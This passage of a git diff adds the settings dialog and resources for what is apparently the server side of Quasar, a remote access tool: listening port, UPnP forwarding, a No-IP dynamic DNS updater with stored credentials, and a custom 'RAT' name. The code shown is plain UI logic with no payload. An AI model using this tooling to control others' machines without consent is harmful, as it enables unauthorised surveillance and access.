I/85KSL/MSEa/zkpIu9FNS5/SDgxH////wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8BYlJLOUU1Lq8yIhvXMiIb104+N6lqWlM1////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA== + + + \ No newline at end of file diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmSettings.Designer.cs b/Quasar-1.4.1/Quasar.Server/Forms/FrmSettings.Designer.cs new file mode 100755 index 0000000..2318a69 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmSettings.Designer.cs @@ -0,0 +1,389 @@ +namespace Quasar.Server.Forms +{ + partial class FrmSettings + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FrmSettings)); + this.btnSave = new System.Windows.Forms.Button(); + this.lblPort = new System.Windows.Forms.Label(); + this.ncPort = new System.Windows.Forms.NumericUpDown(); + this.chkAutoListen = new System.Windows.Forms.CheckBox(); + this.chkPopup = new System.Windows.Forms.CheckBox(); + this.btnListen = new System.Windows.Forms.Button(); + this.btnCancel = new System.Windows.Forms.Button(); + this.chkUseUpnp = new System.Windows.Forms.CheckBox(); + this.chkShowTooltip = new System.Windows.Forms.CheckBox(); + this.chkNoIPIntegration = new System.Windows.Forms.CheckBox(); + this.lblHost = new System.Windows.Forms.Label(); + this.lblPass = new System.Windows.Forms.Label(); + this.lblUser = new System.Windows.Forms.Label(); + this.txtNoIPPass = new System.Windows.Forms.TextBox(); + this.txtNoIPUser = new System.Windows.Forms.TextBox(); + this.txtNoIPHost = new System.Windows.Forms.TextBox(); + this.chkShowPassword = new System.Windows.Forms.CheckBox(); + this.chkIPv6Support = new System.Windows.Forms.CheckBox(); + this.chkDarkMode = new System.Windows.Forms.CheckBox(); + this.lblCustomName = new System.Windows.Forms.Label(); + this.txtCustomName = new System.Windows.Forms.TextBox(); + this.btnResetName = new System.Windows.Forms.Button(); + this.chkFlatContextMenu = new System.Windows.Forms.CheckBox(); + ((System.ComponentModel.ISupportInitialize)(this.ncPort)).BeginInit(); + this.SuspendLayout(); + // + // btnSave + // + this.btnSave.Location = new System.Drawing.Point(284, 382); + this.btnSave.Margin = new System.Windows.Forms.Padding(4); + this.btnSave.Name = "btnSave"; + this.btnSave.Size = new System.Drawing.Size(94, 29); + this.btnSave.TabIndex = 20; + this.btnSave.Text = "&Save"; + this.btnSave.UseVisualStyleBackColor = true; + this.btnSave.Click += new System.EventHandler(this.btnSave_Click); + // + // lblPort + // + this.lblPort.AutoSize = true; + this.lblPort.Location = new System.Drawing.Point(15, 14); + this.lblPort.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); + this.lblPort.Name = "lblPort"; + this.lblPort.Size = new System.Drawing.Size(110, 19); + this.lblPort.TabIndex = 0; + this.lblPort.Text = "Port to listen on:"; + // + // ncPort + // + this.ncPort.Location = new System.Drawing.Point(139, 9); + this.ncPort.Margin = new System.Windows.Forms.Padding(4); + this.ncPort.Maximum = new decimal(new int[] { + 65535, + 0, + 0, + 0}); + this.ncPort.Minimum = new decimal(new int[] { + 1, + 0, + 0, + 0}); + this.ncPort.Name = "ncPort"; + this.ncPort.Size = new System.Drawing.Size(94, 26); + this.ncPort.TabIndex = 1; + this.ncPort.Value = new decimal(new int[] { + 1, + 0, + 0, + 0}); + // + // chkAutoListen + // + this.chkAutoListen.AutoSize = true; + this.chkAutoListen.Location = new System.Drawing.Point(15, 85); + this.chkAutoListen.Margin = new System.Windows.Forms.Padding(4); + this.chkAutoListen.Name = "chkAutoListen"; + this.chkAutoListen.Size = new System.Drawing.Size(262, 23); + this.chkAutoListen.TabIndex = 6; + this.chkAutoListen.Text = "Listen for new connections on startup"; + this.chkAutoListen.UseVisualStyleBackColor = true; + // + // chkPopup + // + this.chkPopup.AutoSize = true; + this.chkPopup.Location = new System.Drawing.Point(15, 114); + this.chkPopup.Margin = new System.Windows.Forms.Padding(4); + this.chkPopup.Name = "chkPopup"; + this.chkPopup.Size = new System.Drawing.Size(300, 23); + this.chkPopup.TabIndex = 7; + this.chkPopup.Text = "Show popup notification on new connection"; + this.chkPopup.UseVisualStyleBackColor = true; + // + // btnListen + // + this.btnListen.Location = new System.Drawing.Point(240, 8); + this.btnListen.Margin = new System.Windows.Forms.Padding(4); + this.btnListen.Name = "btnListen"; + this.btnListen.Size = new System.Drawing.Size(138, 29); + this.btnListen.TabIndex = 2; + this.btnListen.Text = "Start listening"; + this.btnListen.UseVisualStyleBackColor = true; + this.btnListen.Click += new System.EventHandler(this.btnListen_Click); + // + // btnCancel + // + this.btnCancel.Location = new System.Drawing.Point(182, 382); + this.btnCancel.Margin = new System.Windows.Forms.Padding(4); + this.btnCancel.Name = "btnCancel"; + this.btnCancel.Size = new System.Drawing.Size(94, 29); + this.btnCancel.TabIndex = 19; + this.btnCancel.Text = "&Cancel"; + this.btnCancel.UseVisualStyleBackColor = true; + this.btnCancel.Click += new System.EventHandler(this.btnCancel_Click); + // + // chkUseUpnp + // + this.chkUseUpnp.AutoSize = true; + this.chkUseUpnp.Location = new System.Drawing.Point(15, 142); + this.chkUseUpnp.Margin = new System.Windows.Forms.Padding(4); + this.chkUseUpnp.Name = "chkUseUpnp"; + this.chkUseUpnp.Size = new System.Drawing.Size(302, 23); + this.chkUseUpnp.TabIndex = 8; + this.chkUseUpnp.Text = "Try to automatically forward the port (UPnP)"; + this.chkUseUpnp.UseVisualStyleBackColor = true; + // + // chkShowTooltip + // + this.chkShowTooltip.AutoSize = true; + this.chkShowTooltip.Location = new System.Drawing.Point(15, 171); + this.chkShowTooltip.Margin = new System.Windows.Forms.Padding(4); + this.chkShowTooltip.Name = "chkShowTooltip"; + this.chkShowTooltip.Size = new System.Drawing.Size(316, 23); + this.chkShowTooltip.TabIndex = 9; + this.chkShowTooltip.Text = "Show tooltip on client with system information"; + this.chkShowTooltip.UseVisualStyleBackColor = true; + // + // chkNoIPIntegration + // + this.chkNoIPIntegration.AutoSize = true; + this.chkNoIPIntegration.Location = new System.Drawing.Point(15, 221); + this.chkNoIPIntegration.Margin = new System.Windows.Forms.Padding(4); + this.chkNoIPIntegration.Name = "chkNoIPIntegration"; + this.chkNoIPIntegration.Size = new System.Drawing.Size(225, 23); + this.chkNoIPIntegration.TabIndex = 10; + this.chkNoIPIntegration.Text = "Enable No-Ip.com DNS Updater"; + this.chkNoIPIntegration.UseVisualStyleBackColor = true; + this.chkNoIPIntegration.CheckedChanged += new System.EventHandler(this.chkNoIPIntegration_CheckedChanged); + // + // lblHost + // + this.lblHost.AutoSize = true; + this.lblHost.Enabled = false; + this.lblHost.Location = new System.Drawing.Point(38, 254); + this.lblHost.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); + this.lblHost.Name = "lblHost"; + this.lblHost.Size = new System.Drawing.Size(41, 19); + this.lblHost.TabIndex = 11; + this.lblHost.Text = "Host:"; + // + // lblPass + // + this.lblPass.AutoSize = true; + this.lblPass.Enabled = false; + this.lblPass.Location = new System.Drawing.Point(209, 289); + this.lblPass.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); + this.lblPass.Name = "lblPass"; + this.lblPass.Size = new System.Drawing.Size(39, 19); + this.lblPass.TabIndex = 15; + this.lblPass.Text = "Pass:"; + // + // lblUser + // + this.lblUser.AutoSize = true; + this.lblUser.Enabled = false; + this.lblUser.Location = new System.Drawing.Point(38, 289); + this.lblUser.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); + this.lblUser.Name = "lblUser"; + this.lblUser.Size = new System.Drawing.Size(38, 19); + this.lblUser.TabIndex = 13; + this.lblUser.Text = "Mail:"; + // + // txtNoIPPass + // + this.txtNoIPPass.Enabled = false; + this.txtNoIPPass.Location = new System.Drawing.Point(249, 285); + this.txtNoIPPass.Margin = new System.Windows.Forms.Padding(4); + this.txtNoIPPass.Name = "txtNoIPPass"; + this.txtNoIPPass.Size = new System.Drawing.Size(124, 26); + this.txtNoIPPass.TabIndex = 16; + // + // txtNoIPUser + // + this.txtNoIPUser.Enabled = false; + this.txtNoIPUser.Location = new System.Drawing.Point(88, 285); + this.txtNoIPUser.Margin = new System.Windows.Forms.Padding(4); + this.txtNoIPUser.Name = "txtNoIPUser"; + this.txtNoIPUser.Size = new System.Drawing.Size(113, 26); + this.txtNoIPUser.TabIndex = 14; + // + // txtNoIPHost + // + this.txtNoIPHost.Enabled = false; + this.txtNoIPHost.Location = new System.Drawing.Point(88, 250); + this.txtNoIPHost.Margin = new System.Windows.Forms.Padding(4); + this.txtNoIPHost.Name = "txtNoIPHost"; + this.txtNoIPHost.Size = new System.Drawing.Size(285, 26); + this.txtNoIPHost.TabIndex = 12; + // + // chkShowPassword + // + this.chkShowPassword.AutoSize = true; + this.chkShowPassword.Enabled = false; + this.chkShowPassword.Location = new System.Drawing.Point(48, 319); + this.chkShowPassword.Margin = new System.Windows.Forms.Padding(4); + this.chkShowPassword.Name = "chkShowPassword"; + this.chkShowPassword.Size = new System.Drawing.Size(126, 23); + this.chkShowPassword.TabIndex = 17; + this.chkShowPassword.Text = "Show Password"; + this.chkShowPassword.UseVisualStyleBackColor = true; + this.chkShowPassword.CheckedChanged += new System.EventHandler(this.chkShowPassword_CheckedChanged); + // + // chkIPv6Support + // + this.chkIPv6Support.AutoSize = true; + this.chkIPv6Support.Location = new System.Drawing.Point(15, 56); + this.chkIPv6Support.Margin = new System.Windows.Forms.Padding(4); + this.chkIPv6Support.Name = "chkIPv6Support"; + this.chkIPv6Support.Size = new System.Drawing.Size(154, 23); + this.chkIPv6Support.TabIndex = 5; + this.chkIPv6Support.Text = "Enable IPv6 support"; + this.chkIPv6Support.UseVisualStyleBackColor = true; + // + // chkDarkMode + // + this.chkDarkMode.AutoSize = true; + this.chkDarkMode.Location = new System.Drawing.Point(15, 200); + this.chkDarkMode.Margin = new System.Windows.Forms.Padding(4); + this.chkDarkMode.Name = "chkDarkMode"; + this.chkDarkMode.Size = new System.Drawing.Size(251, 23); + this.chkDarkMode.TabIndex = 21; + this.chkDarkMode.Text = "Enable Dark Mode (restart required)"; + this.chkDarkMode.UseVisualStyleBackColor = true; + // + // lblCustomName + // + this.lblCustomName.AutoSize = true; + this.lblCustomName.Location = new System.Drawing.Point(15, 350); + this.lblCustomName.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); + this.lblCustomName.Name = "lblCustomName"; + this.lblCustomName.Size = new System.Drawing.Size(100, 19); + this.lblCustomName.TabIndex = 22; + this.lblCustomName.Text = "Custom Name:"; + // + // txtCustomName + // + this.txtCustomName.Location = new System.Drawing.Point(126, 347); + this.txtCustomName.Margin = new System.Windows.Forms.Padding(4); + this.txtCustomName.MaxLength = 50; + this.txtCustomName.Name = "txtCustomName"; + this.txtCustomName.Size = new System.Drawing.Size(150, 26); + this.txtCustomName.TabIndex = 23; + this.txtCustomName.Text = "Quasar Reborn"; + // + // btnResetName + // + this.btnResetName.Location = new System.Drawing.Point(284, 345); + this.btnResetName.Margin = new System.Windows.Forms.Padding(4); + this.btnResetName.Name = "btnResetName"; + this.btnResetName.Size = new System.Drawing.Size(94, 29); + this.btnResetName.TabIndex = 24; + this.btnResetName.Text = "Reset"; + this.btnResetName.UseVisualStyleBackColor = true; + this.btnResetName.Click += new System.EventHandler(this.btnResetName_Click); + // + // chkFlatContextMenu + // + this.chkFlatContextMenu.AutoSize = true; + this.chkFlatContextMenu.Location = new System.Drawing.Point(19, 382); + this.chkFlatContextMenu.Margin = new System.Windows.Forms.Padding(4); + this.chkFlatContextMenu.Name = "chkFlatContextMenu"; + this.chkFlatContextMenu.Size = new System.Drawing.Size(141, 23); + this.chkFlatContextMenu.TabIndex = 25; + this.chkFlatContextMenu.Text = "Flat context menu"; + this.chkFlatContextMenu.UseVisualStyleBackColor = true; + this.chkFlatContextMenu.CheckedChanged += new System.EventHandler(this.chkFlatContextMenu_CheckedChanged); + // + // FrmSettings + // + this.AutoScaleDimensions = new System.Drawing.SizeF(120F, 120F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Dpi; + this.ClientSize = new System.Drawing.Size(392, 465); + this.Controls.Add(this.chkFlatContextMenu); + this.Controls.Add(this.btnResetName); + this.Controls.Add(this.txtCustomName); + this.Controls.Add(this.lblCustomName); + this.Controls.Add(this.chkDarkMode); + this.Controls.Add(this.chkIPv6Support); + this.Controls.Add(this.chkShowPassword); + this.Controls.Add(this.txtNoIPHost); + this.Controls.Add(this.txtNoIPUser); + this.Controls.Add(this.txtNoIPPass); + this.Controls.Add(this.lblUser); + this.Controls.Add(this.lblPass); + this.Controls.Add(this.lblHost); + this.Controls.Add(this.chkNoIPIntegration); + this.Controls.Add(this.chkShowTooltip); + this.Controls.Add(this.chkUseUpnp); + this.Controls.Add(this.btnCancel); + this.Controls.Add(this.btnListen); + this.Controls.Add(this.chkPopup); + this.Controls.Add(this.chkAutoListen); + this.Controls.Add(this.ncPort); + this.Controls.Add(this.lblPort); + this.Controls.Add(this.btnSave); + this.Font = new System.Drawing.Font("Segoe UI", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.ForeColor = System.Drawing.Color.White; + this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedDialog; + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.Margin = new System.Windows.Forms.Padding(4); + this.MaximizeBox = false; + this.MinimizeBox = false; + this.Name = "FrmSettings"; + this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; + this.Text = "Settings"; + this.Load += new System.EventHandler(this.FrmSettings_Load); + ((System.ComponentModel.ISupportInitialize)(this.ncPort)).EndInit(); + this.ResumeLayout(false); + this.PerformLayout(); + + } + + #endregion + + private System.Windows.Forms.Button btnSave; + private System.Windows.Forms.Label lblPort; + private System.Windows.Forms.NumericUpDown ncPort; + private System.Windows.Forms.CheckBox chkAutoListen; + private System.Windows.Forms.CheckBox chkPopup; + private System.Windows.Forms.Button btnListen; + private System.Windows.Forms.Button btnCancel; + private System.Windows.Forms.CheckBox chkUseUpnp; + private System.Windows.Forms.CheckBox chkShowTooltip; + private System.Windows.Forms.CheckBox chkNoIPIntegration; + private System.Windows.Forms.Label lblHost; + private System.Windows.Forms.Label lblPass; + private System.Windows.Forms.Label lblUser; + private System.Windows.Forms.TextBox txtNoIPPass; + private System.Windows.Forms.TextBox txtNoIPUser; + private System.Windows.Forms.TextBox txtNoIPHost; + private System.Windows.Forms.CheckBox chkShowPassword; + private System.Windows.Forms.CheckBox chkIPv6Support; + private System.Windows.Forms.CheckBox chkDarkMode; + private System.Windows.Forms.Label lblCustomName; + private System.Windows.Forms.TextBox txtCustomName; + private System.Windows.Forms.Button btnResetName; + private System.Windows.Forms.CheckBox chkFlatContextMenu; + } +} \ No newline at end of file diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmSettings.cs b/Quasar-1.4.1/Quasar.Server/Forms/FrmSettings.cs new file mode 100755 index 0000000..ac1ba0e --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmSettings.cs @@ -0,0 +1,193 @@ +using Quasar.Server.Forms.DarkMode; +using Quasar.Server.Networking; +using Quasar.Server.Utilities; +using System; +using System.Globalization; +using System.Net.Sockets; +using System.Windows.Forms; +using Quasar.Server.Models; + +namespace Quasar.Server.Forms +{ + public partial class FrmSettings : Form + { + private readonly QuasarServer _listenServer; + + public FrmSettings(QuasarServer listenServer) + { + this._listenServer = listenServer; + + InitializeComponent(); + + ToggleListenerSettings(!listenServer.Listening); + + ShowPassword(false); + } + + private void FrmSettings_Load(object sender, EventArgs e) + { + if (Settings.DarkMode) + { + DarkModeManager.ApplyDarkMode(this); + } + ncPort.Value = Settings.ListenPort; + chkIPv6Support.Checked = Settings.IPv6Support; + chkAutoListen.Checked = Settings.AutoListen; + chkPopup.Checked = Settings.ShowPopup; + chkUseUpnp.Checked = Settings.UseUPnP; + chkShowTooltip.Checked = Settings.ShowToolTip; + chkNoIPIntegration.Checked = Settings.EnableNoIPUpdater; + txtNoIPHost.Text = Settings.NoIPHost; + txtNoIPUser.Text = Settings.NoIPUsername; + txtNoIPPass.Text = Settings.NoIPPassword; + chkDarkMode.Checked = Settings.DarkMode; + txtCustomName.Text = Settings.CustomRatName ?? "Quasar Reborn"; + chkFlatContextMenu.Checked = Settings.FlatContextMenu; + } + + private ushort GetPortSafe() + { + var portValue = ncPort.Value.ToString(CultureInfo.InvariantCulture); + ushort port; + return (!ushort.TryParse(portValue, out port)) ? (ushort)0 : port; + } + + private void btnListen_Click(object sender, EventArgs e) + { + ushort port = GetPortSafe(); + + if (port == 0) + { + MessageBox.Show("Please enter a valid port > 0.", "Please enter a valid port", MessageBoxButtons.OK, + MessageBoxIcon.Warning); + return; + } + + if (btnListen.Text == "Start listening" && !_listenServer.Listening) + { + try + { + if(chkNoIPIntegration.Checked) + NoIpUpdater.Start(); + _listenServer.Listen(port, chkIPv6Support.Checked, chkUseUpnp.Checked); + ToggleListenerSettings(false); + } + catch (SocketException ex) + { + if (ex.ErrorCode == 10048) + { + MessageBox.Show(this, "The port is already in use.", "Socket Error", MessageBoxButtons.OK, MessageBoxIcon.Error); + } + else + { + MessageBox.Show(this, $"An unexpected socket error occurred: {ex.Message}\n\nError Code: {ex.ErrorCode}\n\n", "Unexpected Socket Error", MessageBoxButtons.OK, MessageBoxIcon.Error); + } + _listenServer.Disconnect(); + } + catch (Exception) + { + _listenServer.Disconnect(); + } + } + else if (btnListen.Text == "Stop listening" && _listenServer.Listening) + { + _listenServer.Disconnect(); + ToggleListenerSettings(true); + } + } + + private void btnSave_Click(object sender, EventArgs e) + { + ushort port = GetPortSafe(); + + if (port == 0) + { + MessageBox.Show("Please enter a valid port > 0.", "Please enter a valid port", MessageBoxButtons.OK, + MessageBoxIcon.Warning); + return; + } + + Settings.ListenPort = port; + Settings.IPv6Support = chkIPv6Support.Checked; + Settings.AutoListen = chkAutoListen.Checked; + Settings.ShowPopup = chkPopup.Checked; + Settings.UseUPnP = chkUseUpnp.Checked; + Settings.ShowToolTip = chkShowTooltip.Checked; + Settings.EnableNoIPUpdater = chkNoIPIntegration.Checked; + Settings.NoIPHost = txtNoIPHost.Text; + Settings.NoIPUsername = txtNoIPUser.Text; + Settings.NoIPPassword = txtNoIPPass.Text; + Settings.DarkMode = chkDarkMode.Checked; + Settings.CustomRatName = string.IsNullOrWhiteSpace(txtCustomName.Text) ? "Quasar Reborn" : txtCustomName.Text.Trim(); + Settings.FlatContextMenu = chkFlatContextMenu.Checked; + + // Update main form title and context menu + var mainForm = Application.OpenForms["FrmMain"] as FrmMain; + if (mainForm != null) + { + mainForm.UpdateWindowTitle(); + mainForm.RebuildContextMenu(); + } + + MessageBox.Show("Settings saved successfully!", "Settings", MessageBoxButtons.OK, MessageBoxIcon.Information); + + // Don't close if embedded in a tab (TopLevel = false) + if (this.TopLevel) + this.Close(); + } + + private void btnCancel_Click(object sender, EventArgs e) + { + // Reload settings from saved values + FrmSettings_Load(this, EventArgs.Empty); + + // Don't close if embedded in a tab (TopLevel = false) + if (this.TopLevel && MessageBox.Show("Discard your changes?", "Cancel", MessageBoxButtons.YesNo, MessageBoxIcon.Question) == DialogResult.Yes) + this.Close(); + } + + private void chkNoIPIntegration_CheckedChanged(object sender, EventArgs e) + { + NoIPControlHandler(chkNoIPIntegration.Checked); + } + + private void ToggleListenerSettings(bool enabled) + { + btnListen.Text = enabled ? "Start listening" : "Stop listening"; + ncPort.Enabled = enabled; + chkIPv6Support.Enabled = enabled; + chkUseUpnp.Enabled = enabled; + } + + private void NoIPControlHandler(bool enable) + { + lblHost.Enabled = enable; + lblUser.Enabled = enable; + lblPass.Enabled = enable; + txtNoIPHost.Enabled = enable; + txtNoIPUser.Enabled = enable; + txtNoIPPass.Enabled = enable; + chkShowPassword.Enabled = enable; + } + + private void ShowPassword(bool show = true) + { + txtNoIPPass.PasswordChar = (show) ? (char)0 : (char)'●'; + } + + private void chkShowPassword_CheckedChanged(object sender, EventArgs e) + { + ShowPassword(chkShowPassword.Checked); + } + + private void btnResetName_Click(object sender, EventArgs e) + { + txtCustomName.Text = "Quasar Reborn"; + } + + private void chkFlatContextMenu_CheckedChanged(object sender, EventArgs e) + { + + } + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmSettings.resx b/Quasar-1.4.1/Quasar.Server/Forms/FrmSettings.resx new file mode 100755 index 0000000..2c59259 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmSettings.resx @@ -0,0 +1,659 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + + + AAABAAQAEBAAAAAAIABoBAAARgAAACAgAAAAACAAqBAAAK4EAAAwMAAAAAAgAKglAABWFQAAQEAAAAAA + IAAoQgAA/joAACgAAAAQAAAAIAAAAAEAIAAAAAAAQAQAAAAAAAAAAAAAAAAAAAAAAAD///8B////Af// + /wH///8B////Af///wE/LyhBOSkiyzkpIslBMSo9////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AUg4MSE6KiOrNycg/T4uJ/87KyT/Nycg/TsrJKdKOjMf////Af///wH///8B////Af// + /wH///8BXExFCzsrJIE3JyD1OSki/zkpIv9PQDr/Szs1/zkpIv84KCH/Nycg8zsrJH0/LygL////Af// + /wH///8BPCwlVTcnIOE4KCH/OCgh/zcnIP81JR7/YVRP/1pMRv82Jh//OCgh/zgoIf84KCH/OCgh3zws + JVH///8BWUlCJTcnIPc4KCH/QzQt/4B1cP+Dd3L/fnJt/6uioP+jmpb/bF9Z/2pcVf9jVU7/PCwl/zgo + If84KCHza1tUH1NDPCs3JyD7eGtm/4J2cv87KyT/MSEa/z8vKP+vpqL/q6Ke/z0tJ/82JyD/NSUe/1pL + Rf9QQDr/OCgh9W5eVyNTQzwrNiYf+4h8eP83JyD/YFBJ/7yspf+woZv/iXt1/41+d/+Gdm7/bl5X/0Ex + Kv84KCH/U0M8/zUlHvVuXlcjU0M8KzcnIPs1JB3/c2Nc/5CAef/IuLH/qaGf//7+/v/+/v7/3dXR/6ub + lP/Nvbb/WUlC/04+N/84KCH1bl5XI1NDPCs4KCH7OCgh/35uZ/+Tg3z/hHRu/5SIg//9/f3//v39/97S + zP9pWVP/0sK7/1dHQP83JyD/OSki9W5eVyNTQzwrOCgh+zkpIv82Jh//YFBJ/5mJgv+zopv/6+bj/9vW + 1P9pWFH/eGhi/0w8Nf83JyD/OSki/zkpIvVuXlcjU0M8KzgoIfs5KSL/OCgh/zwsJf84KCH/NiYf/5GI + hP+MgX3/Nycg/zgoIf9aTEb/WUtG/zkpIv85KSL1bl5XI1ZGPyc4KCH5OCgh/zgoIf+upqP/TT85/zgo + If9uYl3/aVxX/zgoIf84KCH/kIaC/5CGgv84KCH/OCgh83BgWSGHd3ADPi4nYTgoIek4KCH/Sjs0/zUl + Hv84KCH/WUtF/1FDPf9BMSr/loyI/zsrJP88LCX/OSki5z4uJ13///8B////Af///wFKOjMROyskjTgo + Ifk4KCH/OSki/0Y2L/9DMyz/OCgh/zUlHv84KCH5Oioji1NDPA////8B////Af///wH///8B////Af// + /wFGNi8pOCghtTgoIf84KCH/OCgh/zcnIP06KiOxQTEqJ////wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wE8LCVJOCgh0zgoIdE+LidH////Af///wH///8B////Af///wH///8BAAD//wAA + //8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//ygA + AAAgAAAAQAAAAAEAIAAAAAAAgBAAAAAAAAAAAAAAAAAAAAAAAAD///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8Bbl5XBUY2L105KSLTOioj0U09NlVWRj8D////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AU8/ODs6KiPBNSUe/zkpIv83JyD/NCQd/Toq + I7tZSUI1////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AWtbVB8+LiedNiYf9zcnIP85KSL/OSki/zcn + IP83JyD/NiYf/zUlHvVCMiubZVVOGf///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AVJCOwlHNzB3Nycg7zYmH/85KSL/OCgh/zkp + Iv9NPTb/RTUu/zgoIf84KCH/OCgh/zYmH/83JyDrSTkycWNTTAf///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AUs7NANPPzhROCgh1zUlHv85KSL/OSki/zkp + Iv85KSL/OSki/1xNRv9XR0D/OSki/zkpIv85KSL/OSki/zgoIf80JB3/Oioj0UExKkVgUEkD////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wFcTEUtPS0mtTMjHP04KCH/OCgh/zkp + Iv85KSL/OSki/zkpIv83KCH/cGNe/2FUT/85KSL/OSki/zkpIv85KSL/OSki/zgoIf84KCH/NSUe/UAw + KbE/Lygn////Af///wH///8B////Af///wH///8B////Af///wFUQzwVQTEqkzMjHPU3JyD/OCgh/zkp + Iv85KSL/OSki/zkpIv85KSL/OCgh/zMjHP+Ngnz/eGtl/zYmH/85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/Nycg/zUlHvNAMCmNTz84E////wH///8B////Af///wGyopsDSTkyVTUlHuU1JR7/OSki/zgo + If84KCH/OCgh/zgoIf83JyD/NSUe/zQkHf8xIBn/JRYQ/56Wk/+Sh4P/KRgS/zMiG/81JR7/Nycf/zgo + If84KCH/OCgh/zkpIv85KSL/OCgh/zYmH/83JyDjRjYvTf///wH///8B////AWNTTD82Jh/pOCgh/zkp + Iv85KSL/OSki/zUkHf8sHBT/OSkh/1pKRP+He3b/pp6a/7KrqP+1ran/6eXk/+Da2P+upJ//opiU/46B + fP9uYFr/Szw2/zMjHP8xIBn/OCgh/zkpIv85KSL/OSki/zgoIf81JR7haFhRM////wH///8BUUE6VTgo + IfU4KCH/OSki/zYmH/8vHRb/cWRf/8K7uP/Y09H/raWh/4B0b/9cTEb/RDQs/yoZFP/k4N7/2NPR/ykX + D/85KSL/SToz/2ZXUP+JfHb/npGL/4t/ev9QQTr/Lh4W/zkpIv84KCH/OSki/zgoIe1uXldF////Af// + /wFTQzxTNycg9TgoIf8wIBj/X09J/9rW1P+upqL/UUI7/y0cFP8sHBT/MyMc/zkpIv87KyT/SDgw//n4 + 9//18/P/PCwl/zssJf85KSP/OSki/zIiG/8sHBT/OCgg/21gWf+UiIL/Py8n/zYnIP85KSL/OCgh625e + V0P///8B////AVNDPFM3JyD1NSUf/21fWf/k4N//U0M8/y0cFP83Jh//OCgh/zIiG/8zIxz/Py8o/0k4 + Mv+HeXX/9e7r//n08f+CdXH/Rzcw/zoqI/84KCH/OCgh/zcnIP85KSL/NCQd/zIhGv+JeXP/RDQt/zkp + Iv84KCHrbl5XQ////wH///8BU0M8UzgoIfUzIhv/4dzb/1JCPf82Jh//OCgh/zYmH/9AMCn/lYV+/8Cw + 